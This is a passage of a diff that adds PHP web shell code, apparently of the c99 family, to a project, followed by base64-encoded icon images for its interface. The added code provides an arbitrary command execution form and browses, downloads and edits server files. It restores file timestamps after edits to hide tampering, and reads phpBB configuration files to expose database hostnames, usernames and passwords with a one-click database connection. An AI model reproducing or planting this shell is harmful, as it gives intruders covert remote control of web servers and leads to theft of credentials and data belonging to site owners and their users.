Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> + <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> + <P>"; + } + elseif ($ft == "html") { + if ($white) {@ob_clean();} + echo $r; + if ($white) {tpshexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";} + elseif ($ft == "phpsess") { + echo "<pre>"; + $v = explode("|",$r); + echo $v[0]."<br>"; + var_dump(unserialize($v[1])); + echo "</pre>"; + } + elseif ($ft == "exe") { + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($exeftypes as $k=>$v) + { + if (in_array($ext,$v)) {$rft = $k; break;} + } + $cmd = str_replace("%f%",$f,$rft); + echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>"; + } + elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";} + elseif ($ft == "code") { + if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) { + $arr = explode("\n",$r); + if (count($arr == 18)) { + include($d.$f); + echo "<b>phpBB configuration is detected in this file!<br>"; + if ($dbms == "mysql4") {$dbms = "mysql";} + if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";} + else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report us for fix.";} + echo "Parameters for manual connect:<br>"; + $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); + foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";} + echo "</b><hr size=\"1\" noshade>"; + } + } + echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">"; + if (!empty($white)) {@ob_clean();} + highlight_file($d.$f); + if (!empty($white)) {tpshexit();} + echo "</div>"; + } + elseif ($ft == "download") { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".filesize($d.$f)); + header("Content-disposition: attachment; filename=\"".$f."\";"); + echo $r; + exit; + } + elseif ($ft == "notepad") { + @ob_clean(); + header("Content-type: text/plain"); + header("Content-disposition: attachment; filename=\"".$f.".txt\";"); + echo($r); + exit; + } + elseif ($ft == "img") { + $inf = getimagesize($d.$f); + if (!$white) { + if (empty($imgsize)) {$imgsize = 20;} + $width = $inf[0]/100*$imgsize; + $height = $inf[1]/100*$imgsize; + echo "<center><b>Size:</b>&nbsp;"; + $sizes = array("100","50","20"); + foreach ($sizes as $v) { + echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">"; + if ($imgsize != $v ) {echo $v;} + else {echo "<u>".$v."</u>";} + echo "</a>&nbsp;&nbsp;&nbsp;"; + } + echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"1\"></center>"; + } + else { + @ob_clean(); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + readfile($d.$f); + exit; + } + } + elseif ($ft == "edit") { + if (!empty($submit)) + { + if ($filestealth) {$stat = stat($d.$f);} + $fp = fopen($d.$f,"w"); + if (!$fp) {echo "<b>Can't write to file!</b>";} + else + { + echo "<b>Saved!</b>"; + fwrite($fp,$edit_text); + fclose($fp); + if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} + $r = $edit_text; + } + } + $rows = count(explode("\r\n",$r)); + if ($rows < 10) {$rows = 10;} + if ($rows > 30) {$rows = 30;} + echo "<form action=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."\" method=POST><input type=submit name=submit value=\"Save\">&nbsp;<input type=\"reset\" value=\"Reset\">&nbsp;<input type=\"button\" onclick=\"location.href='".addslashes($surl."act=ls&d=".substr($d,0,-1))."';\" value=\"Back\"><br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>"; + } + elseif (!empty($ft)) {echo "<center><b>Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.</b></center>";} + else {echo "<center><b>Unknown file type (".$ext."), please select type manually.</b></center>";} +} +echo "</div>\n"; +} +} +else { +@ob_clean(); +$images = array( +"arrow_ltr"=> +"R0lGODlhJgAWAIABAP///wAAACH5BAHoAwEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". +"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", +"back"=> +"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". +"Wg0JADs=", +"buffer"=> +"R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". +"eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". +"Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", +"change"=> +"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". +"/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". +"AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". +"wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". +"CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". +"zMshADs=", +"delete"=> +"R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". +"6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". +"sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". +"vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". +"ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". +"BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". +"STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". +"BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". +"jwVFHBgiEGQFIgQasYkcSbJQIAA7", +"download"=> +"R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". +"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", +"forward"=> +"R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". +"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". +"WqsJADs=", +"home"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". +"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". +"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", +"mode"=> +"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". +"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". +"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", +"search"=> +"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". +"/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". +"s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". +"AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". +"Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", +"setup"=> +"R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". +"QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". +"qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". +"OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", +"small_dir"=> +"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". +"/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", +"small_unk"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". +"p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". +"/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". +"/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". +"/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". +"wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". +"9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". +"66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". +"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". +"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". +"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". +"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". +"yAsokBkQADs=", +"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". +"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", +"sort_asc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". +"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", +"sort_desc"=> +"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". 